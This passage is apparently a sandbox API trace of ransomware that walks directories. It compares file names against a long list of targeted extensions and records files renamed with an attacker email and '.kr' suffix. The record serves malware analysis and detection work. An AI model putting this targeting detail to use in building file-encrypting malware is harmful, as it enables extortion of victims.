lstrcmpiW (lpString1=".kdc", lpString2="].kr") returned -1 [0086.114] lstrlenW (lpString=".kmz") returned 4 [0086.114] lstrcmpiW (lpString1=".kmz", lpString2="].kr") returned -1 [0086.114] lstrlenW (lpString=".kwm") returned 4 [0086.114] lstrcmpiW (lpString1=".kwm", lpString2="].kr") returned -1 [0086.114] lstrlenW (lpString=".lasso") returned 6 [0086.114] lstrcmpiW (lpString1=".lasso", lpString2="cc].kr") returned -1 [0086.114] lstrlenW (lpString=".lbi") returned 4 [0086.114] lstrcmpiW (lpString1=".lbi", lpString2="].kr") returned -1 [0086.115] lstrlenW (lpString=".lgf") returned 4 [0086.115] lstrcmpiW (lpString1=".lgf", lpString2="].kr") returned -1 [0086.115] lstrlenW (lpString=".lgp") returned 4 [0086.115] lstrcmpiW (lpString1=".lgp", lpString2="].kr") returned -1 [0086.115] lstrlenW (lpString=".log") returned 4 [0086.115] lstrcmpiW (lpString1=".log", lpString2="].kr") returned -1 [0086.115] lstrlenW (lpString=".m1v") returned 4 [0086.115] lstrcmpiW (lpString1=".m1v", lpString2="].kr") returned -1 [0086.115] lstrlenW (lpString=".m4a") returned 4 [0086.115] lstrcmpiW (lpString1=".m4a", lpString2="].kr") returned -1 [0086.115] lstrlenW (lpString=".m4v") returned 4 [0086.115] lstrcmpiW (lpString1=".m4v", lpString2="].kr") returned -1 [0086.115] lstrlenW (lpString=".max") returned 4 [0086.115] lstrcmpiW (lpString1=".max", lpString2="].kr") returned -1 [0086.115] lstrlenW (lpString=".md") returned 3 [0086.115] lstrcmpiW (lpString1=".md", lpString2=".kr") returned 1 [0086.115] lstrlenW (lpString=".mda") returned 4 [0086.115] lstrcmpiW (lpString1=".mda", lpString2="].kr") returned -1 [0086.115] lstrlenW (lpString=".mdb") returned 4 [0086.115] lstrcmpiW (lpString1=".mdb", lpString2="].kr") returned -1 [0086.115] lstrlenW (lpString=".mde") returned 4 [0086.115] lstrcmpiW (lpString1=".mde", lpString2="].kr") returned -1 [0086.115] lstrlenW (lpString=".mdf") returned 4 [0086.115] lstrcmpiW (lpString1=".mdf", lpString2="].kr") returned -1 [0086.115] lstrlenW (lpString=".mdw") returned 4 [0086.115] lstrcmpiW (lpString1=".mdw", lpString2="].kr") returned -1 [0086.116] lstrlenW (lpString=".mef") returned 4 [0086.116] lstrcmpiW (lpString1=".mef", lpString2="].kr") returned -1 [0086.116] lstrlenW (lpString=".mft") returned 4 [0086.116] lstrcmpiW (lpString1=".mft", lpString2="].kr") returned -1 [0086.116] lstrlenW (lpString=".mfw") returned 4 [0086.116] lstrcmpiW (lpString1=".mfw", lpString2="].kr") returned -1 [0086.116] lstrlenW (lpString=".mht") returned 4 [0086.116] lstrcmpiW (lpString1=".mht", lpString2="].kr") returned -1 [0086.116] lstrlenW (lpString=".mhtml") returned 6 [0086.116] lstrcmpiW (lpString1=".mhtml", lpString2="cc].kr") returned -1 [0086.116] lstrlenW (lpString=".mka") returned 4 [0086.116] lstrcmpiW (lpString1=".mka", lpString2="].kr") returned -1 [0086.116] lstrlenW (lpString=".mkidx") returned 6 [0086.116] lstrcmpiW (lpString1=".mkidx", lpString2="cc].kr") returned -1 [0086.116] lstrlenW (lpString=".mkv") returned 4 [0086.116] lstrcmpiW (lpString1=".mkv", lpString2="].kr") returned -1 [0086.116] lstrlenW (lpString=".mos") returned 4 [0086.116] lstrcmpiW (lpString1=".mos", lpString2="].kr") returned -1 [0086.116] lstrlenW (lpString=".mov") returned 4 [0086.116] lstrcmpiW (lpString1=".mov", lpString2="].kr") returned -1 [0086.116] lstrlenW (lpString=".mp3") returned 4 [0086.116] lstrcmpiW (lpString1=".mp3", lpString2="].kr") returned -1 [0086.116] lstrlenW (lpString=".mp4") returned 4 [0086.116] lstrcmpiW (lpString1=".mp4", lpString2="].kr") returned -1 [0086.116] lstrlenW (lpString=".mpeg") returned 5 [0086.116] lstrcmpiW (lpString1=".mpeg", lpString2="c].kr") returned -1 [0086.117] lstrlenW (lpString=".mpg") returned 4 [0086.117] lstrcmpiW (lpString1=".mpg", lpString2="].kr") returned -1 [0086.117] lstrlenW (lpString=".mpv") returned 4 [0086.117] lstrcmpiW (lpString1=".mpv", lpString2="].kr") returned -1 [0086.117] lstrlenW (lpString=".mrw") returned 4 [0086.117] lstrcmpiW (lpString1=".mrw", lpString2="].kr") returned -1 [0086.117] lstrlenW (lpString=".msg") returned 4 [0086.117] lstrcmpiW (lpString1=".msg", lpString2="].kr") returned -1 [0086.117] lstrlenW (lpString=".mxl") returned 4 [0086.117] lstrcmpiW (lpString1=".mxl", lpString2="].kr") returned -1 [0086.117] lstrlenW (lpString=".myd") returned 4 [0086.117] lstrcmpiW (lpString1=".myd", lpString2="].kr") returned -1 [0086.117] lstrlenW (lpString=".myi") returned 4 [0086.117] lstrcmpiW (lpString1=".myi", lpString2="].kr") returned -1 [0086.117] lstrlenW (lpString=".nef") returned 4 [0086.117] lstrcmpiW (lpString1=".nef", lpString2="].kr") returned -1 [0086.117] lstrlenW (lpString=".nrw") returned 4 [0086.117] lstrcmpiW (lpString1=".nrw", lpString2="].kr") returned -1 [0086.117] lstrlenW (lpString=".obj") returned 4 [0086.117] lstrcmpiW (lpString1=".obj", lpString2="].kr") returned -1 [0086.117] lstrlenW (lpString=".odb") returned 4 [0086.117] lstrcmpiW (lpString1=".odb", lpString2="].kr") returned -1 [0086.117] lstrlenW (lpString=".odc") returned 4 [0086.117] lstrcmpiW (lpString1=".odc", lpString2="].kr") returned -1 [0086.117] lstrlenW (lpString=".odm") returned 4 [0086.117] lstrcmpiW (lpString1=".odm", lpString2="].kr") returned -1 [0086.118] lstrlenW (lpString=".odp") returned 4 [0086.118] lstrcmpiW (lpString1=".odp", lpString2="].kr") returned -1 [0086.118] lstrlenW (lpString=".ods") returned 4 [0086.118] lstrcmpiW (lpString1=".ods", lpString2="].kr") returned -1 [0086.118] lstrlenW (lpString=".oft") returned 4 [0086.118] lstrcmpiW (lpString1=".oft", lpString2="].kr") returned -1 [0086.118] lstrlenW (lpString=".one") returned 4 [0086.118] lstrcmpiW (lpString1=".one", lpString2="].kr") returned -1 [0086.118] lstrlenW (lpString=".onepkg") returned 7 [0086.118] lstrcmpiW (lpString1=".onepkg", lpString2=".cc].kr") returned 1 [0086.118] lstrlenW (lpString=".onetoc2") returned 8 [0086.118] lstrcmpiW (lpString1=".onetoc2", lpString2="l.cc].kr") returned -1 [0086.118] lstrlenW (lpString=".opt") returned 4 [0086.118] lstrcmpiW (lpString1=".opt", lpString2="].kr") returned -1 [0086.118] lstrlenW (lpString=".oqy") returned 4 [0086.118] lstrcmpiW (lpString1=".oqy", lpString2="].kr") returned -1 [0086.118] lstrlenW (lpString=".orf") returned 4 [0086.118] lstrcmpiW (lpString1=".orf", lpString2="].kr") returned -1 [0086.118] lstrlenW (lpString=".p12") returned 4 [0086.118] lstrcmpiW (lpString1=".p12", lpString2="].kr") returned -1 [0086.118] lstrlenW (lpString=".p7b") returned 4 [0086.118] lstrcmpiW (lpString1=".p7b", lpString2="].kr") returned -1 [0086.118] lstrlenW (lpString=".p7c") returned 4 [0086.118] lstrcmpiW (lpString1=".p7c", lpString2="].kr") returned -1 [0086.118] lstrlenW (lpString=".pam") returned 4 [0086.119] lstrcmpiW (lpString1=".pam", lpString2="].kr") returned -1 [0086.119] lstrlenW (lpString=".pbm") returned 4 [0086.119] lstrcmpiW (lpString1=".pbm", lpString2="].kr") returned -1 [0086.119] lstrlenW (lpString=".pct") returned 4 [0086.119] lstrcmpiW (lpString1=".pct", lpString2="].kr") returned -1 [0086.119] lstrlenW (lpString=".pcx") returned 4 [0086.119] lstrcmpiW (lpString1=".pcx", lpString2="].kr") returned -1 [0086.119] lstrlenW (lpString=".pdd") returned 4 [0086.119] lstrcmpiW (lpString1=".pdd", lpString2="].kr") returned -1 [0086.119] lstrlenW (lpString=".pdf") returned 4 [0086.119] lstrcmpiW (lpString1=".pdf", lpString2="].kr") returned -1 [0086.119] lstrlenW (lpString=".pdp") returned 4 [0086.119] lstrcmpiW (lpString1=".pdp", lpString2="].kr") returned -1 [0086.119] lstrlenW (lpString=".pef") returned 4 [0086.119] lstrcmpiW (lpString1=".pef", lpString2="].kr") returned -1 [0086.119] lstrlenW (lpString=".pem") returned 4 [0086.119] lstrcmpiW (lpString1=".pem", lpString2="].kr") returned -1 [0086.119] lstrlenW (lpString=".pff") returned 4 [0086.119] lstrcmpiW (lpString1=".pff", lpString2="].kr") returned -1 [0086.119] lstrlenW (lpString=".pfm") returned 4 [0086.119] lstrcmpiW (lpString1=".pfm", lpString2="].kr") returned -1 [0086.119] lstrlenW (lpString=".pfx") returned 4 [0086.119] lstrcmpiW (lpString1=".pfx", lpString2="].kr") returned -1 [0086.119] lstrlenW (lpString=".pgm") returned 4 [0086.119] lstrcmpiW (lpString1=".pgm", lpString2="].kr") returned -1 [0086.119] lstrlenW (lpString=".php") returned 4 [0086.120] lstrcmpiW (lpString1=".php", lpString2="].kr") returned -1 [0086.120] lstrlenW (lpString=".php3") returned 5 [0086.120] lstrcmpiW (lpString1=".php3", lpString2="c].kr") returned -1 [0086.120] lstrlenW (lpString=".php4") returned 5 [0086.120] lstrcmpiW (lpString1=".php4", lpString2="c].kr") returned -1 [0086.120] lstrlenW (lpString=".php5") returned 5 [0086.120] lstrcmpiW (lpString1=".php5", lpString2="c].kr") returned -1 [0086.120] lstrlenW (lpString=".phtml") returned 6 [0086.120] lstrcmpiW (lpString1=".phtml", lpString2="cc].kr") returned -1 [0086.120] lstrlenW (lpString=".pict") returned 5 [0086.120] lstrcmpiW (lpString1=".pict", lpString2="c].kr") returned -1 [0086.120] lstrlenW (lpString=".pl") returned 3 [0086.120] lstrcmpiW (lpString1=".pl", lpString2=".kr") returned 1 [0086.120] lstrlenW (lpString=".pls") returned 4 [0086.120] lstrcmpiW (lpString1=".pls", lpString2="].kr") returned -1 [0086.120] lstrlenW (lpString=".pm") returned 3 [0086.120] lstrcmpiW (lpString1=".pm", lpString2=".kr") returned 1 [0086.120] lstrlenW (lpString=".png") returned 4 [0086.120] lstrcmpiW (lpString1=".png", lpString2="].kr") returned -1 [0086.120] lstrlenW (lpString=".pnm") returned 4 [0086.120] lstrcmpiW (lpString1=".pnm", lpString2="].kr") returned -1 [0086.120] lstrlenW (lpString=".pot") returned 4 [0086.120] lstrcmpiW (lpString1=".pot", lpString2="].kr") returned -1 [0086.120] lstrlenW (lpString=".potm") returned 5 [0086.120] lstrcmpiW (lpString1=".potm", lpString2="c].kr") returned -1 [0086.121] lstrlenW (lpString=".potx") returned 5 [0086.121] lstrcmpiW (lpString1=".potx", lpString2="c].kr") returned -1 [0086.121] lstrlenW (lpString=".ppa") returned 4 [0086.121] lstrcmpiW (lpString1=".ppa", lpString2="].kr") returned -1 [0086.121] lstrlenW (lpString=".ppam") returned 5 [0086.121] lstrcmpiW (lpString1=".ppam", lpString2="c].kr") returned -1 [0086.121] lstrlenW (lpString=".ppm") returned 4 [0086.121] lstrcmpiW (lpString1=".ppm", lpString2="].kr") returned -1 [0086.121] lstrlenW (lpString=".pps") returned 4 [0086.121] lstrcmpiW (lpString1=".pps", lpString2="].kr") returned -1 [0086.121] lstrlenW (lpString=".ppsm") returned 5 [0086.121] lstrcmpiW (lpString1=".ppsm", lpString2="c].kr") returned -1 [0086.121] lstrlenW (lpString=".ppt") returned 4 [0086.121] lstrcmpiW (lpString1=".ppt", lpString2="].kr") returned -1 [0086.121] lstrlenW (lpString=".pptm") returned 5 [0086.121] lstrcmpiW (lpString1=".pptm", lpString2="c].kr") returned -1 [0086.121] lstrlenW (lpString=".pptx") returned 5 [0086.121] lstrcmpiW (lpString1=".pptx", lpString2="c].kr") returned -1 [0086.121] lstrlenW (lpString=".prn") returned 4 [0086.121] lstrcmpiW (lpString1=".prn", lpString2="].kr") returned -1 [0086.121] lstrlenW (lpString=".ps") returned 3 [0086.121] lstrcmpiW (lpString1=".ps", lpString2=".kr") returned 1 [0086.121] lstrlenW (lpString=".psb") returned 4 [0086.121] lstrcmpiW (lpString1=".psb", lpString2="].kr") returned -1 [0086.122] lstrlenW (lpString=".psd") returned 4 [0086.122] lstrcmpiW (lpString1=".psd", lpString2="].kr") returned -1 [0086.122] lstrlenW (lpString=".pst") returned 4 [0086.122] lstrcmpiW (lpString1=".pst", lpString2="].kr") returned -1 [0086.122] lstrlenW (lpString=".ptx") returned 4 [0086.122] lstrcmpiW (lpString1=".ptx", lpString2="].kr") returned -1 [0086.122] lstrlenW (lpString=".pub") returned 4 [0086.122] lstrcmpiW (lpString1=".pub", lpString2="].kr") returned -1 [0086.122] lstrlenW (lpString=".pwm") returned 4 [0086.122] lstrcmpiW (lpString1=".pwm", lpString2="].kr") returned -1 [0086.122] lstrlenW (lpString=".pxr") returned 4 [0086.122] lstrcmpiW (lpString1=".pxr", lpString2="].kr") returned -1 [0086.122] lstrlenW (lpString=".py") returned 3 [0086.122] lstrcmpiW (lpString1=".py", lpString2=".kr") returned 1 [0086.122] lstrlenW (lpString=".qt") returned 3 [0086.122] lstrcmpiW (lpString1=".qt", lpString2=".kr") returned 1 [0086.122] lstrlenW (lpString=".r3d") returned 4 [0086.122] lstrcmpiW (lpString1=".r3d", lpString2="].kr") returned -1 [0086.122] lstrlenW (lpString=".raf") returned 4 [0086.122] lstrcmpiW (lpString1=".raf", lpString2="].kr") returned -1 [0086.122] lstrlenW (lpString=".rar") returned 4 [0086.122] lstrcmpiW (lpString1=".rar", lpString2="].kr") returned -1 [0086.122] FindNextFileW (in: hFindFile=0x4260650, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc5e4d2c9, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc5e4d2c9, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc5e73517, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0xffd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="LOCALI~1.KR")) returned 1 [0086.123] FindNextFileW (in: hFindFile=0x4260650, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0086.123] FindNextFileW (in: hFindFile=0x4260650, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0086.123] FindClose (in: hFindFile=0x4260650 | out: hFindFile=0x4260650) returned 1 [0086.123] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x440000) returned 1 [0086.123] FindNextFileW (in: hFindFile=0x4260350, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1043", cAlternateFileName="")) returned 1 [0086.123] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0086.123] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043") returned 26 [0086.123] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\*", lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xc6717f13, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260250 [0086.124] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xc6717f13, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.124] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc6148204, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc6148204, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc616e3a9, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0xec4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="EULART~1.KR")) returned 1 [0086.124] lstrlenW (lpString="eula.rtf.id-B4197730.[blablacar@airmail.cc].kr") returned 46 [0086.124] lstrlenW (lpString=".1cd") returned 4 [0086.124] lstrcmpiW (lpString1=".1cd", lpString2="].kr") returned -1 [0086.124] lstrlenW (lpString=".3ds") returned 4 [0086.124] lstrcmpiW (lpString1=".3ds", lpString2="].kr") returned -1 [0086.124] lstrlenW (lpString=".3fr") returned 4 [0086.124] lstrcmpiW (lpString1=".3fr", lpString2="].kr") returned -1 [0086.124] lstrlenW (lpString=".3g2") returned 4 [0086.124] lstrcmpiW (lpString1=".3g2", lpString2="].kr") returned -1 [0086.124] lstrlenW (lpString=".3gp") returned 4 [0086.124] lstrcmpiW (lpString1=".3gp", lpString2="].kr") returned -1 [0086.124] lstrlenW (lpString=".7z") returned 3 [0086.124] lstrcmpiW (lpString1=".7z", lpString2=".kr") returned -1 [0086.124] lstrlenW (lpString=".accda") returned 6 [0086.124] lstrcmpiW (lpString1=".accda", lpString2="cc].kr") returned -1 [0086.124] lstrlenW (lpString=".accdb") returned 6 [0086.124] lstrcmpiW (lpString1=".accdb", lpString2="cc].kr") returned -1 [0086.125] lstrlenW (lpString=".accdc") returned 6 [0086.125] lstrcmpiW (lpString1=".accdc", lpString2="cc].kr") returned -1 [0086.125] lstrlenW (lpString=".accde") returned 6 [0086.125] lstrcmpiW (lpString1=".accde", lpString2="cc].kr") returned -1 [0086.125] lstrlenW (lpString=".accdt") returned 6 [0086.125] lstrcmpiW (lpString1=".accdt", lpString2="cc].kr") returned -1 [0086.125] lstrlenW (lpString=".accdw") returned 6 [0086.125] lstrcmpiW (lpString1=".accdw", lpString2="cc].kr") returned -1 [0086.125] lstrlenW (lpString=".adb") returned 4 [0086.125] lstrcmpiW (lpString1=".adb", lpString2="].kr") returned -1 [0086.125] lstrlenW (lpString=".adp") returned 4 [0086.125] lstrcmpiW (lpString1=".adp", lpString2="].kr") returned -1 [0086.125] lstrlenW (lpString=".ai") returned 3 [0086.125] lstrcmpiW (lpString1=".ai", lpString2=".kr") returned -1 [0086.125] lstrlenW (lpString=".ai3") returned 4 [0086.125] lstrcmpiW (lpString1=".ai3", lpString2="].kr") returned -1 [0086.125] lstrlenW (lpString=".ai4") returned 4 [0086.125] lstrcmpiW (lpString1=".ai4", lpString2="].kr") returned -1 [0086.125] lstrlenW (lpString=".ai5") returned 4 [0086.125] lstrcmpiW (lpString1=".ai5", lpString2="].kr") returned -1 [0086.125] lstrlenW (lpString=".ai6") returned 4 [0086.125] lstrcmpiW (lpString1=".ai6", lpString2="].kr") returned -1 [0086.125] lstrlenW (lpString=".ai7") returned 4 [0086.126] lstrcmpiW (lpString1=".ai7", lpString2="].kr") returned -1 [0086.126] lstrlenW (lpString=".ai8") returned 4 [0086.126] lstrcmpiW (lpString1=".ai8", lpString2="].kr") returned -1 [0086.126] lstrlenW (lpString=".anim") returned 5 [0086.126] lstrcmpiW (lpString1=".anim", lpString2="c].kr") returned -1 [0086.126] lstrlenW (lpString=".arw") returned 4 [0086.126] lstrcmpiW (lpString1=".arw", lpString2="].kr") returned -1 [0086.126] lstrlenW (lpString=".as") returned 3 [0086.126] lstrcmpiW (lpString1=".as", lpString2=".kr") returned -1 [0086.126] lstrlenW (lpString=".asa") returned 4 [0086.126] lstrcmpiW (lpString1=".asa", lpString2="].kr") returned -1 [0086.126] lstrlenW (lpString=".asc") returned 4 [0086.126] lstrcmpiW (lpString1=".asc", lpString2="].kr") returned -1 [0086.126] lstrlenW (lpString=".ascx") returned 5 [0086.126] lstrcmpiW (lpString1=".ascx", lpString2="c].kr") returned -1 [0086.126] lstrlenW (lpString=".asm") returned 4 [0086.126] lstrcmpiW (lpString1=".asm", lpString2="].kr") returned -1 [0086.126] lstrlenW (lpString=".asmx") returned 5 [0086.126] lstrcmpiW (lpString1=".asmx", lpString2="c].kr") returned -1 [0086.126] lstrlenW (lpString=".asp") returned 4 [0086.126] lstrcmpiW (lpString1=".asp", lpString2="].kr") returned -1 [0086.126] lstrlenW (lpString=".aspx") returned 5 [0086.126] lstrcmpiW (lpString1=".aspx", lpString2="c].kr") returned -1 [0086.126] lstrlenW (lpString=".asr") returned 4 [0086.127] lstrcmpiW (lpString1=".asr", lpString2="].kr") returned -1 [0086.127] lstrlenW (lpString=".asx") returned 4 [0086.127] lstrcmpiW (lpString1=".asx", lpString2="].kr") returned -1 [0086.127] lstrlenW (lpString=".avi") returned 4 [0086.127] lstrcmpiW (lpString1=".avi", lpString2="].kr") returned -1 [0086.127] lstrlenW (lpString=".avs") returned 4 [0086.127] lstrcmpiW (lpString1=".avs", lpString2="].kr") returned -1 [0086.127] lstrlenW (lpString=".backup") returned 7 [0086.127] lstrcmpiW (lpString1=".backup", lpString2=".cc].kr") returned -1 [0086.127] lstrlenW (lpString=".bak") returned 4 [0086.127] lstrcmpiW (lpString1=".bak", lpString2="].kr") returned -1 [0086.127] lstrlenW (lpString=".bay") returned 4 [0086.127] lstrcmpiW (lpString1=".bay", lpString2="].kr") returned -1 [0086.127] lstrlenW (lpString=".bd") returned 3 [0086.127] lstrcmpiW (lpString1=".bd", lpString2=".kr") returned -1 [0086.127] lstrlenW (lpString=".bin") returned 4 [0086.127] lstrcmpiW (lpString1=".bin", lpString2="].kr") returned -1 [0086.127] lstrlenW (lpString=".bmp") returned 4 [0086.127] lstrcmpiW (lpString1=".bmp", lpString2="].kr") returned -1 [0086.127] lstrlenW (lpString=".bz2") returned 4 [0086.127] lstrcmpiW (lpString1=".bz2", lpString2="].kr") returned -1 [0086.127] lstrlenW (lpString=".c") returned 2 [0086.127] lstrcmpiW (lpString1=".c", lpString2="kr") returned -1 [0086.127] lstrlenW (lpString=".cdr") returned 4 [0086.127] lstrcmpiW (lpString1=".cdr", lpString2="].kr") returned -1 [0086.128] lstrlenW (lpString=".cer") returned 4 [0086.128] lstrcmpiW (lpString1=".cer", lpString2="].kr") returned -1 [0086.128] lstrlenW (lpString=".cf") returned 3 [0086.128] lstrcmpiW (lpString1=".cf", lpString2=".kr") returned -1 [0086.128] lstrlenW (lpString=".cfc") returned 4 [0086.128] lstrcmpiW (lpString1=".cfc", lpString2="].kr") returned -1 [0086.128] lstrlenW (lpString=".cfm") returned 4 [0086.128] lstrcmpiW (lpString1=".cfm", lpString2="].kr") returned -1 [0086.128] lstrlenW (lpString=".cfml") returned 5 [0086.128] lstrcmpiW (lpString1=".cfml", lpString2="c].kr") returned -1 [0086.128] lstrlenW (lpString=".cfu") returned 4 [0086.128] lstrcmpiW (lpString1=".cfu", lpString2="].kr") returned -1 [0086.128] lstrlenW (lpString=".chm") returned 4 [0086.128] lstrcmpiW (lpString1=".chm", lpString2="].kr") returned -1 [0086.128] lstrlenW (lpString=".cin") returned 4 [0086.128] lstrcmpiW (lpString1=".cin", lpString2="].kr") returned -1 [0086.128] lstrlenW (lpString=".class") returned 6 [0086.128] lstrcmpiW (lpString1=".class", lpString2="cc].kr") returned -1 [0086.128] lstrlenW (lpString=".clx") returned 4 [0086.128] lstrcmpiW (lpString1=".clx", lpString2="].kr") returned -1 [0086.128] lstrlenW (lpString=".config") returned 7 [0086.128] lstrcmpiW (lpString1=".config", lpString2=".cc].kr") returned 1 [0086.128] lstrlenW (lpString=".cpp") returned 4 [0086.128] lstrcmpiW (lpString1=".cpp", lpString2="].kr") returned -1 [0086.128] lstrlenW (lpString=".cr2") returned 4 [0086.128] lstrcmpiW (lpString1=".cr2", lpString2="].kr") returned -1 [0086.129] lstrlenW (lpString=".crt") returned 4 [0086.129] lstrcmpiW (lpString1=".crt", lpString2="].kr") returned -1 [0086.129] lstrlenW (lpString=".crw") returned 4 [0086.129] lstrcmpiW (lpString1=".crw", lpString2="].kr") returned -1 [0086.129] lstrlenW (lpString=".cs") returned 3 [0086.129] lstrcmpiW (lpString1=".cs", lpString2=".kr") returned -1 [0086.129] lstrlenW (lpString=".css") returned 4 [0086.129] lstrcmpiW (lpString1=".css", lpString2="].kr") returned -1 [0086.129] lstrlenW (lpString=".csv") returned 4 [0086.129] lstrcmpiW (lpString1=".csv", lpString2="].kr") returned -1 [0086.129] lstrlenW (lpString=".cub") returned 4 [0086.129] lstrcmpiW (lpString1=".cub", lpString2="].kr") returned -1 [0086.129] lstrlenW (lpString=".dae") returned 4 [0086.129] lstrcmpiW (lpString1=".dae", lpString2="].kr") returned -1 [0086.129] lstrlenW (lpString=".dat") returned 4 [0086.129] lstrcmpiW (lpString1=".dat", lpString2="].kr") returned -1 [0086.129] lstrlenW (lpString=".db") returned 3 [0086.129] lstrcmpiW (lpString1=".db", lpString2=".kr") returned -1 [0086.129] lstrlenW (lpString=".dbf") returned 4 [0086.130] lstrcmpiW (lpString1=".dbf", lpString2="].kr") returned -1 [0086.130] lstrlenW (lpString=".dbx") returned 4 [0086.130] lstrcmpiW (lpString1=".dbx", lpString2="].kr") returned -1 [0086.130] lstrlenW (lpString=".dc3") returned 4 [0086.130] lstrcmpiW (lpString1=".dc3", lpString2="].kr") returned -1 [0086.130] lstrlenW (lpString=".dcm") returned 4 [0086.130] lstrcmpiW (lpString1=".dcm", lpString2="].kr") returned -1 [0086.130] lstrlenW (lpString=".dcr") returned 4 [0086.130] lstrcmpiW (lpString1=".dcr", lpString2="].kr") returned -1 [0086.130] lstrlenW (lpString=".der") returned 4 [0086.130] lstrcmpiW (lpString1=".der", lpString2="].kr") returned -1 [0086.130] lstrlenW (lpString=".dib") returned 4 [0086.130] lstrcmpiW (lpString1=".dib", lpString2="].kr") returned -1 [0086.130] lstrlenW (lpString=".dic") returned 4 [0086.130] lstrcmpiW (lpString1=".dic", lpString2="].kr") returned -1 [0086.130] lstrlenW (lpString=".dif") returned 4 [0086.130] lstrcmpiW (lpString1=".dif", lpString2="].kr") returned -1 [0086.130] lstrlenW (lpString=".divx") returned 5 [0086.130] lstrcmpiW (lpString1=".divx", lpString2="c].kr") returned -1 [0086.130] lstrlenW (lpString=".djvu") returned 5 [0086.130] lstrcmpiW (lpString1=".djvu", lpString2="c].kr") returned -1 [0086.130] lstrlenW (lpString=".dng") returned 4 [0086.130] lstrcmpiW (lpString1=".dng", lpString2="].kr") returned -1 [0086.130] lstrlenW (lpString=".doc") returned 4 [0086.130] lstrcmpiW (lpString1=".doc", lpString2="].kr") returned -1 [0086.130] lstrlenW (lpString=".docm") returned 5 [0086.131] lstrcmpiW (lpString1=".docm", lpString2="c].kr") returned -1 [0086.131] lstrlenW (lpString=".docx") returned 5 [0086.131] lstrcmpiW (lpString1=".docx", lpString2="c].kr") returned -1 [0086.131] lstrlenW (lpString=".dot") returned 4 [0086.131] lstrcmpiW (lpString1=".dot", lpString2="].kr") returned -1 [0086.131] lstrlenW (lpString=".dotm") returned 5 [0086.131] lstrcmpiW (lpString1=".dotm", lpString2="c].kr") returned -1 [0086.131] lstrlenW (lpString=".dotx") returned 5 [0086.131] lstrcmpiW (lpString1=".dotx", lpString2="c].kr") returned -1 [0086.131] lstrlenW (lpString=".dpx") returned 4 [0086.131] lstrcmpiW (lpString1=".dpx", lpString2="].kr") returned -1 [0086.131] lstrlenW (lpString=".dqy") returned 4 [0086.131] lstrcmpiW (lpString1=".dqy", lpString2="].kr") returned -1 [0086.131] lstrlenW (lpString=".dsn") 